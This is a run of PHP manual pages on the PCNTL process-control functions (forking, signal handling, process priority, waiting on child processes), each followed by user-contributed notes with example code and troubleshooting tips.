An easy way to avoid this is to create a new database connection in parent immediately after forking. Don't forget to force a new connection by passing true in the 4th argument of mysql_connect():

<?php
// Create the MySQL connection
$db = mysql_connect($server, $username, $password);

$pid = pcntl_fork();

if ( $pid == -1 ) {
    // Fork failed
    exit(1);
} else if ( $pid ) {
    // We are the parent
    // Can no longer use $db because it will be closed by the child
    // Instead, make a new MySQL connection for ourselves to work with
    $db = mysql_connect($server, $username, $password, true);
} else {
    // We are the child
    // Do something with the inherited connection here
    // It will get closed upon exit
    exit(0);
?>

This way, the child will inherit the old connection, will work on it and will close upon exit. The parent won't care, because it will open a new connection for itself immediately after forking.

Hope this helps.
xuecan at google dot com 26-Aug-2006 06:59
I think this simple code can help understand how fork works:

<?php
echo "posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";

$pid = pcntl_fork();
if ($pid == -1) die("could not fork");
if ($pid) {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
} else {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
}
?>
arnold at helderhosting dot nl 13-Feb-2005 04:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
ben at gelbnet dot com 26-Sep-2002 12:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?php
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>


Retrieve the error number set by the last pcntl function which failed

  • « pcntl_fork
  • pcntl_getpriority »
  • PHP Manual
  • PCNTL Functions
  • Retrieve the error number set by the last pcntl function which failed

pcntl_get_last_error

(PHP 5 >= 5.3.4)

pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed

Description

int pcntl_get_last_error ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns error code.

See Also

  • pcntl_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

There are no user contributed notes for this page.


Get the priority of any process

  • « pcntl_get_last_error
  • pcntl_setpriority »
  • PHP Manual
  • PCNTL Functions
  • Get the priority of any process

pcntl_getpriority

(PHP 5)

pcntl_getpriority — Get the priority of any process

Description

int pcntl_getpriority ([ int $pid = getmypid() [, int $process_identifier = PRIO_PROCESS ]] )

pcntl_getpriority() gets the priority of pid. Because priority levels can differ between system types and kernel versions, please see your system's getpriority(2) man page for specific details.

Parameters

pid

If not specified, the pid of the current process is used.

process_identifier

One of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

Return Values

pcntl_getpriority() returns the priority of the process or FALSE on error. A lower numerical value causes more favorable scheduling.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

See Also

  • pcntl_setpriority() - Change the priority of any process

User Contributed Notes

jonathan at jcdesigns dot com 15-May-2008 11:12
This function is ideal for checking if a given process is running, I have seen solutions that involve running the system utilites like PS and parsing the answer, which should work fine, but this allows you to check a given PID with a single call

function CheckPID( $PID )
{
        // Check if the passed in PID represents a vlaid process in the system
        // Returns true if it does
        // Turn off non-fatal runtime warning for a moment as we know we
        // will get one if the PID does not represent a valid process

    $oldErrorLevel = error_reporting(0);
    error_reporting( $oldErrorLevel & ~E_WARNING );
    $res = pcntl_getpriority($PID);
    error_reporting( $oldErrorLevel);
    return ! ( $res === false);
}


Change the priority of any process

  • « pcntl_getpriority
  • pcntl_signal_dispatch »
  • PHP Manual
  • PCNTL Functions
  • Change the priority of any process

pcntl_setpriority

(PHP 5)

pcntl_setpriority — Change the priority of any process

Description

bool pcntl_setpriority ( int $priority [, int $pid = getmypid() [, int $process_identifier = PRIO_PROCESS ]] )

pcntl_setpriority() sets the priority of pid.

Parameters

priority

priority is generally a value in the range -20 to 20. The default priority is 0 while a lower numerical value causes more favorable scheduling. Because priority levels can differ between system types and kernel versions, please see your system's setpriority(2) man page for specific details.

pid

If not specified, the pid of the current process is used.

process_identifier

One of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • pcntl_getpriority() - Get the priority of any process

User Contributed Notes

t dot stobbe at blackdogdev dot com 28-Aug-2006 12:49
As for the renice function by leandro dot pereira at gmail dot com, this isn't true.  pcntl_setpriority() doesn't set the nice level of a process, but instead sets the base priority of it.  At first glance this might seem like the same thing, but on a system level, they are actually quite different.

In fact, if you're looking to use pcntl_setpriority() to prioritize your process (a tool or a daemon or what-not), I wouldn't recomend using setpriority at all, but renice it instead.  Let the system manage priorities and you'll end up with the results you were looking for.

This applies only to POSIX based systems only (as does the function presented by leandro dot pereira at gmail dot com as well).
leandro dot pereira at gmail dot com 23-Dec-2004 04:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
        $priority = (int)$priority;
        $pid = (int)$pid;

        if ($priority > 20 && $priority < -20) {
                return False;
        }
        if ($pid == 0) {
                $pid = getmypid();
        }

        return system("renice  $priority -p $pid") != false;
}

?>


Calls signal handlers for pending signals

  • « pcntl_setpriority
  • pcntl_signal »
  • PHP Manual
  • PCNTL Functions
  • Calls signal handlers for pending signals

pcntl_signal_dispatch

(PHP 5 >= 5.3.0)

pcntl_signal_dispatch — Calls signal handlers for pending signals

Description

bool pcntl_signal_dispatch ( void )

The pcntl_signal_dispatch() function calls the signal handlers installed by pcntl_signal() for each pending signal.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pcntl_signal_dispatch() example

<?php
echo "Installing signal handler...\n";
pcntl_signal(SIGHUP,  function($signo) {
     echo "signal handler called\n";
});

echo "Generating signal SIGHUP to self...\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Dispatching...\n";
pcntl_signal_dispatch();

echo "Done\n";

?>

The above example will output something similar to:

Installing signal handler...
Generating signal SIGHUP to self...
Dispatching...
signal handler called
Done

See Also

  • pcntl_signal() - Installs a signal handler
  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigwaitinfo() - Waits for signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

stefanis 14-May-2014 03:45
Well I misspoke before. It is not enough to process signals outside of the signal handler. They must be processed outside of the tick handler (explicit or implied). So...

Register a tick handler that calls pcntl_signal_dispatch();
In the signal handler, enqueue your signal;
In the main loop of your script, process your signals;

<?php
declare(ticks=1);
global $sig_queue;
global $use_queue;
$sig_queue = array();
$use_queue = true;   // set to false to do it the old way

function tick_handler()
{
     pcntl_signal_dispatch();
}

function sig_handler($sig)
{
     global $sig_queue;
     global $use_queue;

     if(isset($use_queue) && $use_queue)
     {
          $sig_queue[] = $sig;
     }
     else
     {
          sig_helper($sig);
     }
}

function sig_helper($sig)
{
     switch($sig)
     {
     case SIGHUP:
          $pid = pcntl_fork();
          if($pid) print("forked $pid\n");
          break;

     default:
          print("unhandled sig: $sig\n");
     }
}

pcntl_signal(SIGHUP,   "sig_handler");

while(true)
{
     if($use_queue) foreach($sig_queue as $idx=>$sig)
     {
           sig_helper($sig);
           unset($sig_queue[$idx]);
     }
     sleep(1);
}
?>
stefanis 13-May-2014 09:40
As noted by "me at subsonic dot net" calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This seems to be true even if you pcntl_exec() a new PHP processor to execute an entirely different script.

The solution seems to be to explicitly call pcntl_signal_dispatch()inside a ticks_handler() . And use sig_handler(int) as a push function to a queue. Immediately following the call to dispatch in the ticks_handler, pop your queue doing what you would have done in the signal_handler until the queue is empty.
me at subsonic dot cz 28-Jan-2014 02:33
Note that calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This means that if you write a CLI daemon which forks off child processes in response to a signal, then those child processes won't be able to respond to signals. This gave me a headache for a while as pcntl_signal_dispatch() doesn't raise any errors when this occurs. One solution is to set a flag within the signal handler and react upon it (by forking off the needed child processes) elsewhere in the parent process's main loop.
webmaster at ajeux dot com 10-Aug-2009 07:50
If you are running PHP as CLI and as a "daemon" (i.e. in a loop), this function must be called in each loop  to check if new signals are waiting dispatching.


Installs a signal handler

  • « pcntl_signal_dispatch
  • pcntl_sigprocmask »
  • PHP Manual
  • PCNTL Functions
  • Installs a signal handler

pcntl_signal

(PHP 4 >= 4.1.0, PHP 5)

pcntl_signal — Installs a signal handler

Description

bool pcntl_signal ( int $signo , callable|int $handler [, bool $restart_syscalls = true ] )

The pcntl_signal() function installs a new signal handler or replaces the current signal handler for the signal indicated by signo.

Parameters

signo

The signal number.

handler

The signal handler. This may be either a callable, which will be invoked to handle the signal, or either of the two global constants SIG_IGN or SIG_DFL, which will ignore the signal or restore the default signal handler respectively.

If a callable is given, it must implement the following signature:

void handler ( int $signo )
signo
The signal being handled.

Note:

Note that when you set a handler to an object method, that object's reference count is increased which makes it persist until you either change the handler to something else, or your script ends.

restart_syscalls

Specifies whether system call restarting should be used when this signal arrives.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | As of PHP 4.3.0 PCNTL uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You must use the declare() statement to specify the locations in your program where callbacks are allowed to occur for the signal handler to function properly (as used in the example below).

Examples

Example #1 pcntl_signal() example

<?php
// tick use required as of PHP 4.3.0
declare(ticks = 1);

// signal handler function
function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         case SIGUSR1:
             echo "Caught SIGUSR1...\n";
             break;
         default:
             // handle all other signals
     }

}

echo "Installing signal handler...\n";

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP,  "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// or use an object, available as of PHP 4.3.0
// pcntl_signal(SIGUSR1, array($obj, "do_something"));

echo"Generating signal SIGTERM to self...\n";

// send SIGUSR1 to current process id
posix_kill(posix_getpid(), SIGUSR1);

echo "Done\n";

?>

Notes

pcntl_signal() doesn't stack the signal handlers, but replaces them.

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

dorogikh dot alexander at gmail dot com 23-Oct-2014 04:40
Looks like php uses  RealTime signals. This means that if one signal is currently processed, then other signals will not be lost.

just for example
<?php
pcntl_signal(SIGHUP, SIG_IGN)
?>

in strace log looks like this

"rt_sigaction(SIGHUP, {SIG_IGN, [], SA_RESTORER|SA_RESTART, 0x7f8caf83cc30}, {SIG_DFL, [], 0}, 8) = 0"

And code for testing

<?php
pcntl_signal(SIGHUP, function($signo){
  echo "1\n";
  sleep(2);
  echo "2\n";
});

while(true){
  sleep(1);
  pcntl_signal_dispatch();
}
?>

Run this and send how many SIGHUP signals as you want. All of them will be processed.

P.S.
I guess "all of them". I couldn't found real signal queue size. Will appreciate if someone points me.
fx4084 at gmail dot com 12-Sep-2014 05:13
<?php
pcntl_signal(SIGTERM,  function($signo) {
    echo "\n This signal is called. [$signo] \n";
    Status::$state = -1;
});

class Status{
    public static $state = 0;
}

$pid = pcntl_fork();
if ($pid == -1) {
    die('could not fork');
}

if($pid) {
    // parent
} else {
    while(true) {
        // Dispatching...
        pcntl_signal_dispatch();
        if(Status::$state == -1) {
            // Do something and end loop.
            break;
        }

        for($j = 0; $j < 2; $j++) {
            echo '.';
            sleep(1);
        }
        echo "\n";
    }

    echo "Finish \n";
    exit();
}

$n = 0;
while(true) {
    $res = pcntl_waitpid($pid, $status, WNOHANG);

    // If the child process ends, then end the main process.
    if(-1 == $res || $res > 0)
        break;

    // Send a signal after 5 seconds..
    if($n == 5)
        posix_kill($pid, SIGTERM);

    $n++;

    sleep(1);
}
?>
frustrated at outdated docs 08-Mar-2014 08:01
Please be aware that declaring ticks or calling pcntl_signal_dispatch() in 5.3 and later is required to make pcntl_signal do anything useful. I wish the documentation made this more clear.
Zsolt Szilagyi 19-Feb-2013 06:04
Remember that declaring a tick handler can become really expensive in terms of CPU cycles: Every n ticks the signal handling overhead will be executed.

So instead of declaring tick=1, test if tick=100 can do the job. If so, you are likely to gain fivefold speed.

As your script might always might miss some signals due to blocking operations like cURL downloads, call pcntl_signal_dispatch() on vital spots, e.g. at the beginning of your main loop.
S. Kr@cK 31-May-2012 09:25
static class method to get the name of a process signal as string:

(self::$processSignalDescriptions is used to cache the results)

<?php
    public static function getPOSIXSignalText($signo) {

        try {
            if (is_null(self::$processSignalDescriptions)) {

                self::$processSignalDescriptions = array();

                $signal_list = explode(" ", trim(shell_exec("kill -l")));
                foreach ($signal_list as $key => $value) {
                    self::$processSignalDescriptions[$key+1] = "SIG".$value;
                }
            }

            return isset(self::$processSignalDescriptions[$signo])?self::$processSignalDescriptions[$signo]:"UNKNOWN";

        } catch (Exception $e) {}

        return "UNKNOWN";
    }
?>
Aurelien Marchand 04-Mar-2011 04:22
I was having some issues with processing a signal using an object method I use for something else as well. In particular, I wanted to handle SIGCHLD with my own method "do_reap()" which I also call after a stream_select timeout and that uses a non-blocking pcntl_waitpid function.

The method was called when the signal was received but it couldn't reap the child.

The only way it worked was by creating a new handler that itself called do_reap().

So in other words, the following does not work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"do_reap"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }
}
?>

But this work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"child_died"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }

    private function child_died(){
      $this->do_reap();
    }
}
?>
webmaster at ajeux dot com 10-Aug-2009 03:56
For PHP >= 5.3.0, instead of declare(ticks = 1), you should now use pcntl_ signal_ dispatch().
benjamin at josefus dot /NO+SPAM/ net 24-Jul-2009 10:25
Since php >= 5.3 handles Closures, you are now able to define the Callback directly.
Try this:

<?php
declare(ticks = 1);

pcntl_signal(SIGUSR1, function ($signal) {
            echo 'HANDLE SIGNAL ' . $signal . PHP_EOL;
});

posix_kill(posix_getpid(), SIGUSR1);

die;
?>
ewout dot NOSPAM dot zigterman at custosys dot nl 21-Apr-2009 05:32
I found out then when you use pcntl_signal in a 'deamon' script and you run it before you fork childs it does not work as expected.

instead you need to use pcntl_signal in the child code of the child you are forking

and if you want to cach signals for the 'deamon' part you should use pcntl_signal in the parent code.
seong at respice dot net 14-Feb-2009 05:48
Be careful, when using an object in your callback. It seems this elevates the reference count. You may not want it to happen in repeated child processes.
rbotzer at yahoo dot com 22-Jun-2008 08:50
You cannot assign a signal handler for SIGKILL (kill -9).
Holger Hees 09-Jun-2008 09:49
you should use following code to prevent situation described by anxious2006 (children exit near simultaneously)

public function sig_handler($signo){
  switch ($signo) {
    case SIGCLD:
      while( ( $pid = pcntl_wait ( $signo, WNOHANG ) ) > 0 ){
        $signal = pcntl_wexitstatus ( $signo );
      }
      break;
  }
}
Anonymous 20-Dec-2007 05:44
Multiple children return less than the number of children exiting at a given moment SIGCHLD signals is normal behavior for Unix (POSIX) systems.  SIGCHLD might be read as "one or more children changed status -- go examine your children and harvest their status values".  Signals are implemented as bit masks in most Unix systems, so there can only be 1 SIGCHLD bit set in any given kernel tick for a process.
anxious2006 31-Oct-2007 06:35
Under my setup (FreeBSD 6.2-RELEASE / PHP 5.2.4 CLI) I've noticed that when a child exits the SIGCHLD handler in the parent is not always invoked. It seems to happen when two children exit near simultaneously.

In this instance the child prints "EXIT" and the parent prints "SIGCHLD received":

- EXIT
- SIGCHLD received

This works as expected, but now look what happens when three exit in quick succession:

- EXIT
- EXIT
- EXIT
- SIGCHLD received
- SIGCHLD received

Because of this quirk any code which tries to limit the maximum number of children by incrementing on fork and decrementing on SIGCHLD will eventually end up with a single child (or no further forks), since the "active children" count is always above the maximum. I've noticed similar behaviour with using decrement after pcntl_wait(). Hopefully there's a workaround for this.
rob at robertjohnkaper dot com 16-Nov-2006 12:00
Tip: when using objects, don't set the signal handler from the constructor or even a method called from the constructor - your internal variables will be uninitialised.
nate at example dot com 29-Oct-2006 01:10
If you have a script that needs certain sections to not be interrupted by a signal (especially SIGTERM or SIGINT), but want to make your script ready to process that signal ASAP, there's only one way to do it. Flag the script as having received the signal, and wait for your script to say its ready to process it.

Here's a sample script:

<?
    $allow_exit = true;  // are we permitting exit?
    $force_exit = false; // do we need to exit?

    declare(ticks = 1);
    register_tick_function('check_exit');
    pcntl_signal(SIGTERM, 'sig_handler');
    pcntl_signal(SIGINT, 'sig_handler');

    function sig_handler () {
        global $allow_exit, $force_exit;

        if ($allow_exit)
            exit;
        else
            $force_exit = true;
    }

    function check_exit () {
        global $allow_exit, $force_exit;

        if ($force_exit && $allow_exit)
            exit;
    }

    $allow_exit = false;

    $i = 0;
    while (++$i) {
        echo "still going (${i})\n";
        if ($i == 10)
            $allow_exit = true;

        sleep(2);
    }
?>

You set $allow_exit to true at all times when it is perfectly acceptable that your script could exit without warning. In sections where you really need the script to continue running, you set $allow_exit to false. Any signals received while $allow_exit is false will not take effect until you set $allow_exit to true.

<?
    $allow_exit = true;

    // unimportant stuff here. exiting will not harm anything

    $allow_exit = false;

    // really important stuff not to be interrupted

    $allow_exit = true;

    // more unimportant stuff. if signal was received during
    // important processing above, script will exit here
?>
imslushie at hotmaildotcom dot com 05-Oct-2006 04:16
I have been having trouble reaping my child process. It seemed most of the time, children were reaped properly but *sometimes* they would stay as zombies. I was catching the CHLD signal to reap child processes with the following code:

<?php

function childFinished($signal)
{
  global $kids;
  $kids--;
  pcntl_waitpid(-1, $status);
}

$kids = 0;
pcntl_signal(SIGCHLD, "childFinished");
for ($i = 0; $i < 1000; $i++)
{
  while ($kids >= 50) sleep(1);

  $pid = pcntl_fork();
  if ($pid == -1) die('failed to fork :(');

  /* child process */
  if ($pid == 0)
  {
    /* do something */
    exit(0);
  }

  /* parent */
  else { $kids++; }
}

/* when finished, just clean up the children */
print "Reaping $kids children...\n";
while ($kids) sleep(1);

print "Finished.\n";
?>

The problem was, $kids never became zero so it would effectively wait forever. After wracking my brains (UNIX forks are new to me) I finally read the Perl IPC docs and viola, a solution! It turns out that because signal handlers are not re-entrant, my handler will not be called again while it is in use. The scenario that caused me trouble was that one child would exit and call the signal handler, which would pcntl_waitpid() it and decrement the counter. Meanwhile, another child would exit while the first child was still being reaped,  so the second would never get to notify the parent!

The solution was to continually reap children from the SIGCHLD handler, so long as there were children to reap. Here is the *fixed* childFinished function:

<?php

function childFinished($signal)
{
  global $kids;

  while( pcntl_waitpid(-1, $status, WNOHANG) > 0 )
    $kids--;
}

?>
aeolianmeson at NOSPAXM dot blitzeclipse dot com 09-Jun-2006 10:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 05:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
    global $arrsignals;
    $arrsignals[] = (int)$nsig;
    print("Signal caught and registered.\n");
    var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
    sleep(1);
    $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail 28-Mar-2006 11:26
Process handling is not available when using a blocking socket! Bear this in mind.
wm161 at wm161 dot net 11-Jan-2006 12:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
codeslinger at compsalot dot com 04-Feb-2005 06:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....   The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net 20-Jan-2005 02:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
    // Ignore this signal
    pcntl_signal($signal, SIG_IGN);

    sleep(10);

    // Reinstall signal handler
    pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
daniel[at]lorch.cc 28-Feb-2002 03:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5


Sets and retrieves blocked signals

  • « pcntl_signal
  • pcntl_sigtimedwait »
  • PHP Manual
  • PCNTL Functions
  • Sets and retrieves blocked signals

pcntl_sigprocmask

(PHP 5 >= 5.3.0)

pcntl_sigprocmask — Sets and retrieves blocked signals

Description

bool pcntl_sigprocmask ( int $how , array $set [, array &$oldset ] )

The pcntl_sigprocmask() function adds, removes or sets blocked signals, depending on the how parameter.

Parameters

how

Sets the behavior of pcntl_sigprocmask(). Possible values:

  • SIG_BLOCK: Add the signals to the currently blocked signals.
  • SIG_UNBLOCK: Remove the signals from the currently blocked signals.
  • SIG_SETMASK: Replace the currently blocked signals by the given list of signals.

set

List of signals.

oldset

The oldset parameter is set to an array containing the list of the previously blocked signals.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pcntl_sigprocmask() example

<?php
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));
$oldset = array();
pcntl_sigprocmask(SIG_UNBLOCK, array(SIGHUP), $oldset);
?>

See Also

  • pcntl_sigwaitinfo() - Waits for signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

There are no user contributed notes for this page.


Waits for signals, with a timeout

  • « pcntl_sigprocmask
  • pcntl_sigwaitinfo »
  • PHP Manual
  • PCNTL Functions
  • Waits for signals, with a timeout

pcntl_sigtimedwait

(PHP 5 >= 5.3.0)

pcntl_sigtimedwait — Waits for signals, with a timeout

Description

int pcntl_sigtimedwait ( array $set [, array &$siginfo [, int $seconds = 0 [, int $nanoseconds = 0 ]]] )

The pcntl_sigtimedwait() function operates in exactly the same way as pcntl_sigwaitinfo() except that it takes two additional parameters, seconds and nanoseconds, which enable an upper bound to be placed on the time for which the script is suspended.

Parameters

set

Array of signals to wait for.

siginfo

The siginfo is set to an array containing informations about the signal. See pcntl_sigwaitinfo().

seconds

Timeout in seconds.

nanoseconds

Timeout in nanoseconds.

Return Values

On success, pcntl_sigtimedwait() returns a signal number.

See Also

  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigwaitinfo() - Waits for signals

User Contributed Notes

There are no user contributed notes for this page.


Waits for signals

  • « pcntl_sigtimedwait
  • pcntl_strerror »
  • PHP Manual
  • PCNTL Functions
  • Waits for signals

pcntl_sigwaitinfo

(PHP 5 >= 5.3.0)

pcntl_sigwaitinfo — Waits for signals

Description

int pcntl_sigwaitinfo ( array $set [, array &$siginfo ] )

The pcntl_sigwaitinfo() function suspends execution of the calling script until one of the signals given in set are delivered. If one of the signal is already pending (e.g. blocked by pcntl_sigprocmask()), pcntl_sigwaitinfo() will return immediately.

Parameters

set

Array of signals to wait for.

siginfo

The siginfo parameter is set to an array containing informations about the signal.

The following elements are set for all signals:

  • signo: Signal number
  • errno: An error number
  • code: Signal code

The following elements may be set for the SIGCHLD signal:

  • status: Exit value or signal
  • utime: User time consumed
  • stime: System time consumed
  • pid: Sending process ID
  • uid: Real user ID of sending process

The following elements may be set for the SIGILL, SIGFPE, SIGSEGV and SIGBUS signals:

  • addr: Memory location which caused fault

The following element may be set for the SIGPOLL signal:

  • band: Band event
  • fd: File descriptor number

Return Values

On success, pcntl_sigwaitinfo() returns a signal number.

Examples

Example #1 pcntl_sigwaitinfo() example

<?php
echo "Blocking SIGHUP signal\n";
pcntl_sigprocmask(SIG_BLOCK, array(SIGHUP));

echo "Sending SIGHUP to self\n";
posix_kill(posix_getpid(), SIGHUP);

echo "Waiting for signals\n";
$info = array();
pcntl_sigwaitinfo(array(SIGHUP), $info);
?>

See Also

  • pcntl_sigprocmask() - Sets and retrieves blocked signals
  • pcntl_sigtimedwait() - Waits for signals, with a timeout

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the system error message associated with the given errno

  • « pcntl_sigwaitinfo
  • pcntl_wait »
  • PHP Manual
  • PCNTL Functions
  • Retrieve the system error message associated with the given errno

pcntl_strerror

(PHP 5 >= 5.3.4)

pcntl_strerror — Retrieve the system error message associated with the given errno

Description

string pcntl_strerror ( int $errno )

Warning

This function is currently not documented; only its argument list is available.

Parameters

errno

Return Values

Returns error description on success or FALSE on failure.

See Also

  • pcntl_get_last_error() - Retrieve the error number set by the last pcntl function which failed

User Contributed Notes

There are no user contributed notes for this page.


Waits on or returns the status of a forked child

  • « pcntl_strerror
  • pcntl_waitpid »
  • PHP Manual
  • PCNTL Functions
  • Waits on or returns the status of a forked child

pcntl_wait

(PHP 5)

pcntl_wait — Waits on or returns the status of a forked child

Description

int pcntl_wait ( int &$status [, int $options = 0 ] )

The wait function suspends execution of the current process until a child has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function. If a child has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's wait(2) man page for specific details as to how wait works on your system.

Note:

This function is equivalent to calling pcntl_waitpid() with a -1 pid and no options.

Parameters

status

pcntl_wait() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

options

If wait3 is available on your system (mostly BSD-style systems), you can provide the optional options parameter. If this parameter is not provided, wait will be used for the system call. If wait3 is not available, providing a value for options will have no effect. The value of options is the value of zero or more of the following two constants OR'ed together:

Possible values for options
WNOHANG | Return immediately if no child has exited.
WUNTRACED | Return for children which are stopped, and whose status has not been reported.

Return Values

pcntl_wait() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was provided as an option (on wait3-available systems) and no child was available.

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifexited() - Checks if status code represents a normal exit
  • pcntl_wifstopped() - Checks whether the child process is currently stopped
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal
  • pcntl_wexitstatus() - Returns the return code of a terminated child
  • pcntl_wtermsig() - Returns the signal which caused the child to terminate
  • pcntl_wstopsig() - Returns the signal which caused the child to stop
  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

